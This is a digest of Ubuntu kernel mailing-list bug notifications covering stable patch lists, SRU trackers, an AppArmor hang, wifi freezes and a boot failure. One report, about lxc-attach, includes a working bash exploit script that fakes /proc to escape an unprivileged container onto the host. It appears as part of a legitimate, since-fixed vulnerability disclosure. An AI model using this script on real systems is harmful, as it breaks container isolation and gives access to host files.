https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1638700/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1637520] Re: Yakkety update to v4.8.5 stable release

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Confirmed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1637520

Title:
  Yakkety update to v4.8.5 stable release

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  SRU Justification

  Impact:
     The upstream process for stable tree updates is quite similar
     in scope to the Ubuntu SRU process, e.g., each patch has to
     demonstrably fix a bug, and each patch is vetted by upstream
     by originating either directly from a mainline/stable Linux tree or
     a minimally backported form of that patch. The v4.8.5 upstream stable
     patch set is now available. It should be included in the Ubuntu
     kernel as well.

     git://git.kernel.org/

  TEST CASE: TBD

     The following patches from the v4.8.5 stable release shall be
  applied:

  gpio: mpc8xxx: Correct irq handler function
  mei: fix return value on disconnection
  mei: me: add kaby point device ids
  regulator: tps65910: Work around silicon erratum SWCZ010
  clk: imx6: initialize GPU clocks
  clk: imx6: fix i.MX6DL clock tree to reflect reality
  spi: spidev_test: Fix buffer overflow in unescape()
  PM / devfreq: event: remove duplicate devfreq_event_get_drvdata()
  ath10k: fix copy engine 5 destination ring stuck
  rtlwifi: Fix missing country code for Great Britain
  mmc: block: don't use CMD23 with very old MMC cards
  mmc: sdhci: cast unsigned int to unsigned long long to avoid unexpeted error
  PCI: Mark Atheros AR9580 to avoid bus reset
  PCI: tegra: Fix argument order in tegra_pcie_phy_disable()
  platform: don't return 0 from platform_get_irq[_byname]() on error
  cpufreq: ti: Use generic platdev driver
  cpufreq: conservative: Fix next frequency selection
  cpufreq: skip invalid entries when searching the frequency
  cpufreq: intel_pstate: Fix unsafe HWP MSR access
  cpufreq: fix overflow in cpufreq_table_find_index_dl()
  parisc: Increase KERNEL_INITIAL_SIZE for 32-bit SMP kernels
  parisc: Fix self-detected CPU stall warnings on Mako machines
  parisc: Fix kernel memory layout regarding position of __gp
  parisc: Increase initial kernel mapping size
  pstore/ramoops: fixup driver removal
  pstore/core: drop cmpxchg based updates
  pstore/ram: Use memcpy_toio instead of memcpy
  pstore/ram: Use memcpy_fromio() to save old buffer
  perf intel-pt: Fix snapshot overlap detection decoder errors
  perf intel-pt: Fix estimated timestamps for cycle-accurate mode
  perf intel-pt: Fix MTC timestamp calculation for large MTC periods
  dm: mark request_queue dead before destroying the DM device
  dm: return correct error code in dm_resume()'s retry loop
  dm rq: take request_queue lock while clearing QUEUE_FLAG_STOPPED
  dm mpath: check if path's request_queue is dying in activate_path()
  dm crypt: fix crash on exit
  powerpc/xmon: Don't use ld on 32-bit
  powerpc/vdso64: Use double word compare on pointers
  powerpc/powernv: Pass CPU-endian PE number to opal_pci_eeh_freeze_clear()
  powerpc/eeh: Null check uses of eeh_pe_bus_get
  powerpc/powernv: Use CPU-endian hub diag-data type in 
pnv_eeh_get_and_dump_hub_diag()
  powerpc/powernv: Use CPU-endian PEST in pnv_pci_dump_p7ioc_diag_data()
  powerpc/mm: Update FORCE_MAX_ZONEORDER range to allow hugetlb w/4K
  powerpc/mm/hash64: Fix might_have_hea() check
  IB/srp: Fix infinite loop when FMR sg[0].offset != 0
  IB/core: correctly handle rdma_rw_init_mrs() failure
  ubi: Deal with interrupted erasures in WL
  zfcp: fix fc_host port_type with NPIV
  zfcp: fix ELS/GS request length for hardware data router
  zfcp: close window with unblocked rport during rport gone
  zfcp: retain trace level for SCSI and HBA FSF response records
  zfcp: restore: Dont use 0 to indicate invalid LUN in rec trace
  zfcp: trace on request for open and close of WKA port
  zfcp: restore tracing of handle for port and LUN with HBA records
  zfcp: fix D_ID field with actual value on tracing SAN responses
  zfcp: fix payload trace length for SAN request
  zfcp: trace full payload of all SAN records (req,resp,iels)
  scsi: zfcp: spin_lock_irqsave() is not nestable
  fbdev/efifb: Fix 16 color palette entry calculation
  ovl: Fix info leak in ovl_lookup_temp()
  ovl: copy_up_xattr(): use strnlen
  mb86a20s: fix the locking logic
  mb86a20s: fix demod settings
  cx231xx: don't return error on success
  cx231xx: fix GPIOs for Pixelview SBTVD hybrid
  cx231xx: can't proceed if I2C bus register 

[Kernel-packages] [Bug 1639345] Re: lxc-attach to malicious container allows access to host

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Triaged => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1639345

Title:
  lxc-attach to malicious container allows access to host

Status in linux package in Ubuntu:
  Fix Released
Status in lxc package in Ubuntu:
  Fix Released
Status in linux source package in Trusty:
  Fix Released
Status in lxc source package in Trusty:
  Fix Released
Status in linux source package in Vivid:
  Fix Released
Status in lxc source package in Vivid:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in lxc source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in lxc source package in Yakkety:
  Fix Released

Bug description:
  A malicious root user in an unprivileged container may interfere with
  lxc-attach to provide manipulated guest proc file system information
  to disable dropping of capabilities and may in the end access the host
  file system by winning a very easy race against lxc-attach.

  In guest sequence:

  cat < /tmp/test
  #!/bin/bash -e
  rm -rf /test || true
  mkdir -p /test/sys/kernel
  echo "proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0" > /test/mounts
  echo 0 > /test/sys/kernel/cap_last_cap
  mkdir -p /test/self
  mknod /test/self/status p
  cd /proc
  mount -o bind /test /proc
  while true; do
pid=\$(ls -al */exe | grep lxc-attach | sed -r -e 's/.* ([0-9]+)\\/exe 
->.*/\\1/')
if [ "\${pid}" != "" ]; then
  cd /
  umount -i -f -l -n /proc
  exec /LxcAttachEscape "\${pid}" /bin/bash
fi
sleep 1
  done
  EOF

  See attachment for LxcAttachEscape.c

  Exploit uses fixed fd=7 for attacking, on other test environment, it
  might be other fd. Tests were performed by attacking lxc-attach
  started by

  screen lxc-attach -n [guestname]

  which is the sequence required against the TTY-stealing attacks also
  not fixed in all lxc-attach versions.

  In my opinion two bugs might need fixing:
  * lxc-attach should not use untrusted/manipulated information for proceeding
  * kernel should prevent against ptracing of lxc-attach as it was created in 
another USERNS

  
  # lsb_release -r -d
  Description:Ubuntu 16.04.1 LTS
  Release:16.04

  # apt-cache policy lxc1
  lxc1:
Installed: 2.0.5-0ubuntu1~ubuntu16.04.2
Candidate: 2.0.5-0ubuntu1~ubuntu16.04.2
Version table:
   *** 2.0.5-0ubuntu1~ubuntu16.04.2 500
  500 http://debarchive-ehealth.d03.arc.local/ubuntu 
xenial-updates/main amd64 Packages
  100 /var/lib/dpkg/status
   2.0.0-0ubuntu2 500
  500 http://debarchive-ehealth.d03.arc.local/ubuntu xenial/main amd64 
Packages

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1639345/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1638748] Re: Yakkety update to v4.8.6 stable release

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Confirmed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1638748

Title:
  Yakkety update to v4.8.6 stable release

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  SRU Justification

  Impact:
     The upstream process for stable tree updates is quite similar
     in scope to the Ubuntu SRU process, e.g., each patch has to
     demonstrably fix a bug, and each patch is vetted by upstream
     by originating either directly from a mainline/stable Linux tree or
     a minimally backported form of that patch. The v4.8.6 upstream stable
     patch set is now available. It should be included in the Ubuntu
     kernel as well.

     git://git.kernel.org/

  TEST CASE: TBD

     The following patches from the v4.8.6 stable release shall be
  applied:

  drm/vc4: Fix races when the CS reads from render targets.
  drm/prime: Pass the right module owner through to dma_buf_export()
  drm/i915/backlight: setup and cache pwm alternate increment value
  drm/i915/backlight: setup backlight pwm alternate increment on backlight 
enable
  drm/amdgpu: fix IB alignment for UVD
  drm/amdgpu/dce10: disable hpd on local panels
  drm/amdgpu/dce8: disable hpd on local panels
  drm/amdgpu/dce11: disable hpd on local panels
  drm/amdgpu/dce11: add missing drm_mode_config_cleanup call
  drm/amdgpu: initialize the context reset_counter in amdgpu_ctx_init
  drm/amdgpu: change vblank_time's calculation method to reduce computational 
error.
  drm/radeon: narrow asic_init for virtualization
  drm/radeon/si/dpm: fix phase shedding setup
  drm/radeon: change vblank_time's calculation method to reduce computational 
error.
  drm/vmwgfx: Limit the user-space command buffer size
  drm/fsl-dcu: fix endian issue when using clk_register_divider
  drm/amd/powerplay: fix mclk not switching back after multi-head was disabled
  HID: add quirk for Akai MIDImix.
  drm/i915/skl: Update plane watermarks atomically during plane updates
  drm/i915: Move CRTC updating in atomic_commit into it's own hook
  drm/i915/skl: Update DDB values atomically with wms/plane attrs
  drm/i915/skl: Don't try to update plane watermarks if they haven't changed
  drm/i915/gen9: only add the planes actually affected by ddb changes
  drm/i915/gen9: fix the WaWmMemoryReadLatency implementation
  drm/i915/gen9: minimum scanlines for Y tile is not always 4
  drm/i915/gen9: fix plane_blocks_per_line on watermarks calculations
  drm/i915/gen9: fix the watermark res_blocks value
  drm/i915: SAGV is not SKL-only, so rename a few things
  drm/i915: introduce intel_has_sagv()
  drm/i915/kbl: KBL also needs to run the SAGV code
  Revert "drm/i915: Check live status before reading edid"
  drm/i915: Account for TSEG size when determining 865G stolen base
  drm/i915/skl: Ensure pipes with changed wms get added to the state
  drm/i915: Allow PCH DPLL sharing regardless of DPLL_SDVO_HIGH_SPEED
  drm/i915: Move long hpd handling into the hotplug work
  drm/i915: Allow DP to work w/o EDID
  drm/i915: Just clear the mmiodebug before a register access
  drm/i915: Unalias obj->phys_handle and obj->userptr
  posix_acl: Clear SGID bit when setting file permissions
  rt2x00usb: Fix error return code
  scsi: cxlflash: Remove the device cleanly in the system shutdown path
  genirq/generic_chip: Add irq_unmap callback
  coresight: Remove erroneous dma_free_coherent in tmc_probe
  uio: fix dmem_region_start computation
  ARM: clk-imx35: fix name for ckil clk
  spi: spi-fsl-dspi: Drop extra spi_master_put in device remove function
  i40e: remove a stray unlock
  i40e: fix broken i40e_config_rss_aq function
  mwifiex: correct aid value during tdls setup
  mwifiex: fix failed to reconnect after interface disabled/enabled
  ath10k: Add WMI_SERVICE_PERIODIC_CHAN_STAT_SUPPORT wmi service
  ath10k: fix sending frame in management path in push txq logic
  ath10k: fix reporting channel survey data
  ath10k: fix throughput regression in multi client mode
  crypto: marvell - Don't overwrite default creq->state during initialization
  crypto: gcm - Fix IV buffer size in crypto_gcm_setkey
  crypto: marvell - Update transformation context for each dequeued req
  crypto: arm/ghash-ce - add missing async import/export
  crypto: ccp - Fix return value check in ccp_dmaengine_register()
  hwrng: omap - Only fail if pm_runtime_get_sync returns < 0
  ASoC: topology: Fix error return code in 

[Kernel-packages] [Bug 1645037] Re: apparmor_parser hangs indefinitely when called by multiple threads

[John Johansen]

I have fully replicated this with just the apparmor_parser, and bash. It
requires using both the fs based namespace mkdir/rmdir namespace
interface and regular profile replacement/removal at the same time.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1645037

Title:
  apparmor_parser hangs indefinitely when called by multiple threads

Status in apparmor package in Ubuntu:
  Triaged
Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Xenial:
  In Progress
Status in linux source package in Yakkety:
  In Progress
Status in linux source package in Zesty:
  In Progress

Bug description:
  This bug surfaced when starting ~50 LXC container with LXD in parallel
  multiple times:

  # Create the containers
  for c in c foo{1..50}; do lxc launch images:ubuntu/xenial $c; done

  # Exectute this loop multiple times until you observe errors.
  for c in c foo{1..50}; do lxc restart $c & done

  After this you can

  ps aux | grep apparmor

  and you should see output similar to:

  root 19774  0.0  0.0  12524  1116 pts/1S+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo30
  root 19775  0.0  0.0  12524  1208 pts/1S+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo26
  root 19776  0.0  0.0  13592  3224 pts/1D+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo30
  root 19778  0.0  0.0  13592  3384 pts/1D+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo26
  root 19780  0.0  0.0  12524  1208 pts/1S+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo43
  root 19782  0.0  0.0  12524  1208 pts/1S+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo34
  root 19783  0.0  0.0  13592  3388 pts/1D+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo43
  root 19784  0.0  0.0  13592  3252 pts/1D+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo34
  root 19794  0.0  0.0  12524  1208 pts/1S+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo25
  root 19795  0.0  0.0  13592  3256 pts/1D+   20:14   0:00 
apparmor_parser -RWL /var/lib/lxd/security/apparmor/cache 
/var/lib/lxd/security/apparmor/profiles/lxd-foo25

  apparmor_parser remains stuck even after all LXC/LXD commands have
  exited.

  dmesg output yields lines like:

  [41902.815174] audit: type=1400 audit(1480191089.678:43):
  apparmor="STATUS" operation="profile_load" profile="unconfined" name
  ="lxd-foo30_" pid=12545 comm="apparmor_parser"

  and cat /proc/12545/stack shows:

  [] aa_remove_profiles+0x88/0x270
  21:19   brauner  [] profile_remove+0x144/0x2e0
  21:19   brauner  [] __vfs_write+0x18/0x40
  21:19   brauner  [] vfs_write+0xb8/0x1b0
  21:19   brauner  [] SyS_write+0x55/0xc0
  21:19   brauner  [] entry_SYSCALL_64_fastpath+0x1e/0xa8
  21:19   brauner  [] 0x

  This looks like a potential kernel bug.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1645037/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1641083] Re: linux: 4.8.0-28.30 -proposed tracker

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Invalid => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1641083

Title:
  linux: 4.8.0-28.30 -proposed tracker

Status in Kernel SRU Workflow:
  Fix Released
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  Fix Released
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Fix Released
Status in Kernel SRU Workflow promote-to-updates series:
  Fix Released
Status in Kernel SRU Workflow regression-testing series:
  Fix Released
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  This bug is for tracking the 4.8.0-28.30 upload package. This bug will
  contain status and testing results related to that upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  -- swm properties --
  boot-testing-requested: true
  derivative-trackers-created: true
  phase: Released
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1641083/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647605] Re: constantly freezing on high wifi load

[asgard2]

** Description changed:

  My device is constantly freezing on high wifi load.
  
  I tested multiple distros and linux kernels.
  Such as:
  - xubuntu 16.04
  - xubuntu 16.10 and the current mainline kernel
  - current ubuntu 17.04 daily build
  - manjaro 
  - fedora
  
- It seems to be a general problem. 
+ It seems to be a general problem with this hardware.
  Compared to windows 10, it's not freezing.
  
  Changing /proc/irq/42/smp_affinity to f also did not help.
  
+ Device: HP Notebook – 15-ba029ng(X7F58EA)
+ 
  Regards

** Attachment added: "hardware info"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647605/+attachment/4787981/+files/lshwS.txt

** Description changed:

  My device is constantly freezing on high wifi load.
  
  I tested multiple distros and linux kernels.
  Such as:
  - xubuntu 16.04
  - xubuntu 16.10 and the current mainline kernel
  - current ubuntu 17.04 daily build
  - manjaro 
  - fedora
  
  It seems to be a general problem with this hardware.
  Compared to windows 10, it's not freezing.
  
  Changing /proc/irq/42/smp_affinity to f also did not help.
  
  Device: HP Notebook – 15-ba029ng(X7F58EA)
- 
+ - RTL8723BE PCIe Wireless Network Adapter
+ - AMD E2-7110
  Regards

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647605

Title:
  constantly freezing on high wifi load

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  My device is constantly freezing on high wifi load.

  I tested multiple distros and linux kernels.
  Such as:
  - xubuntu 16.04
  - xubuntu 16.10 and the current mainline kernel
  - current ubuntu 17.04 daily build
  - manjaro 
  - fedora

  It seems to be a general problem with this hardware.
  Compared to windows 10, it's not freezing.

  Changing /proc/irq/42/smp_affinity to f also did not help.

  Device: HP Notebook – 15-ba029ng(X7F58EA)
  - RTL8723BE PCIe Wireless Network Adapter
  - AMD E2-7110
  Regards

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647605/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1642192] Re: i386 4.9 in -proposed fails to boot in cloud instances

[volker kempter]

ad #7:
I confirm that your recent build 4.9.0-8 in ppa:canonical-kernel-team/unstable 
boots properly.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1642192

Title:
  i386 4.9 in -proposed fails to boot in cloud instances

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Zesty:
  In Progress

Bug description:
  I noticed a forever-looping test of linuxinfo on i386 this morning.
  This test upgrades the kernel to 4.9 in -proposed; as soon as that
  reboots, the VM never comes back. nova console-log shows:

  [1.581188] Freeing unused kernel memory: 996K (dcc37000 - dcd3)
  [1.582525] Write protecting the kernel text: 8300k
  [1.583624] Write protecting the kernel read-only data: 3344k
  [1.584845] NX-protecting the kernel data: 6036k
  [1.585921] [ cut here ]
  [1.586861] WARNING: CPU: 0 PID: 1 at 
/build/linux-UWDXbt/linux-4.9.0/arch/x86/mm/dump_pagetables.c:225 
note_page+0x6a1/0x880
  [1.589199] x86/mm: Found insecure W+X mapping at address 
c00a/0xc00a
  [1.590657] Modules linked in:
  [1.591305] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.9.0-1-generic 
#2-Ubuntu
  [1.592809] Hardware name: OpenStack Foundation OpenStack Nova, BIOS Bochs 
01/01/2011
  [1.593188]  dae89e70 dc3e0b05 dae89eb4 dca47958 dae89ea0 dc07299a 
dca47920 dae89ed4
  [1.593188]  0001 dca47958 00e1 dc068db1 00e1 dae89f34 
8000 
  [1.593188]  dae89ec0 dc072a06 0009  dae89eb4 dca47920 
dae89ed4 76601e21
  [1.593188] Call Trace:
  [1.593188]  [] dump_stack+0x58/0x73
  [1.593188]  [] __warn+0xea/0x110
  [1.593188]  [] ? note_page+0x6a1/0x880
  [1.593188]  [] warn_slowpath_fmt+0x46/0x60
  [1.593188]  [] note_page+0x6a1/0x880
  [1.593188]  [] ptdump_walk_pgd_level_core+0x1f5/0x300
  [1.593188]  [] ptdump_walk_pgd_level_checkwx+0x16/0x20
  [1.593188]  [] mark_rodata_ro+0xfd/0x130
  [1.593188]  [] ? rest_init+0x70/0x70
  [1.593188]  [] kernel_init+0x2c/0x100
  [1.593188]  [] ? schedule_tail+0x11/0x50
  [1.593188]  [] ? rest_init+0x70/0x70
  [1.593188]  [] ret_from_fork+0x1b/0x28
  [1.613361] ---[ end trace d63b34644638754d ]---
  [1.614368] x86/mm: Checked W+X mappings: FAILED, 96 W+X pages found.
  ...
  Begin: Waiting for root file system ... Begin: Running /scripts/local-block 
... done.
  Begin: Running /scripts/local-block ... done.
  [... repeating some 50 times... ]
  Begin: Running /scripts/local-block ... done.
  done.
  Gave up waiting for root device.  Common problems:
   - Boot args (cat /proc/cmdline)
 - Check rootdelay= (did the system wait long enough?)
 - Check root= (did the system wait for the right device?)
   - Missing modules (cat /proc/modules; ls /dev)
  ALERT!  UUID=ac6eb865-17d6-469d-b58e-8c0d49174fe4 does not exist.  Dropping 
to a shell!

  
  BusyBox v1.22.1 (Ubuntu 1:1.22.0-19ubuntu2) built-in shell (ash)
  Enter 'help' for a list of built-in commands.

  (initramfs)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1642192/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1646057] Re: linux-armadaxp: 3.2.0-1679.106 -proposed tracker

[Ike Panhc]

** Tags added: qa-testing-passed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-armadaxp in Ubuntu.
https://bugs.launchpad.net/bugs/1646057

Title:
  linux-armadaxp: 3.2.0-1679.106 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Invalid
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Confirmed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-armadaxp package in Ubuntu:
  Invalid
Status in linux-armadaxp source package in Precise:
  In Progress

Bug description:
  This bug is for tracking the 3.2.0-1679.106 upload package. This bug
  will contain status and testing results related to that upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  derivative-trackers-created: true
  kernel-stable-master-bug: 1646055
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1646057/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647587] Status changed to Confirmed

[Brad Figg]

This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647587

Title:
  screen flickers randomly

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  every 1 to 5 seconds screen flashes 1 to 3 times
  each flash is very short, may be 10 out of 60 frames per second
  if more than 1 flash, than time between flashes is about half a second
  the more activity the more flashes
  this happened also with 4.4.0-51 while 4.4.0-47 works without flickering

  version
  Ubuntu 4.4.0-53.74-generic 4.4.30

  release
  Description:  Ubuntu 16.04.1 LTS
  Release:  16.04

  lspci-vnvn.log attached

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-53-generic 4.4.0-53.74
  ProcVersionSignature: Ubuntu 4.4.0-53.74-generic 4.4.30
  Uname: Linux 4.4.0-53-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hendrik1579 F pulseaudio
   /dev/snd/controlC0:  hendrik1579 F pulseaudio
   /dev/snd/controlC2:  hendrik1579 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue Dec  6 09:09:58 2016
  HibernationDevice: RESUME=UUID=759e9aeb-bcba-451e-b96f-dea4dea216ed
  InstallationDate: Installed on 2016-07-28 (130 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  IwConfig:
   lono wireless extensions.
   
   enp4s0no wireless extensions.
   
   enx8000600fe800  no wireless extensions.
  MachineType: System manufacturer System Product Name
  ProcEnviron:
   LANGUAGE=de_AT:de
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_AT.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-53-generic 
root=UUID=512b101c-7fa3-4ea6-82e6-2dac5f7db543 ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-53-generic N/A
   linux-backports-modules-4.4.0-53-generic  N/A
   linux-firmware1.157.5
  RfKill:
   
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/23/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 2001
  dmi.board.asset.tag: Default string
  dmi.board.name: B150M-A
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Default string
  dmi.chassis.type: 3
  dmi.chassis.vendor: Default string
  dmi.chassis.version: Default string
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr2001:bd09/23/2016:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnB150M-A:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:
  dmi.product.name: System Product Name
  dmi.product.version: System Version
  dmi.sys.vendor: System manufacturer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647587/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647605] [NEW] constantly freezing on high wifi load

[asgard2]

Public bug reported:

My device is constantly freezing on high wifi load.

I tested multiple distros and linux kernels.
Such as:
- xubuntu 16.04
- xubuntu 16.10 and the current mainline kernel
- current ubuntu 17.04 daily build
- manjaro 
- fedora

It seems to be a general problem. 
Compared to windows 10, it's not freezing.

Changing /proc/irq/42/smp_affinity to f also did not help.

Regards

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
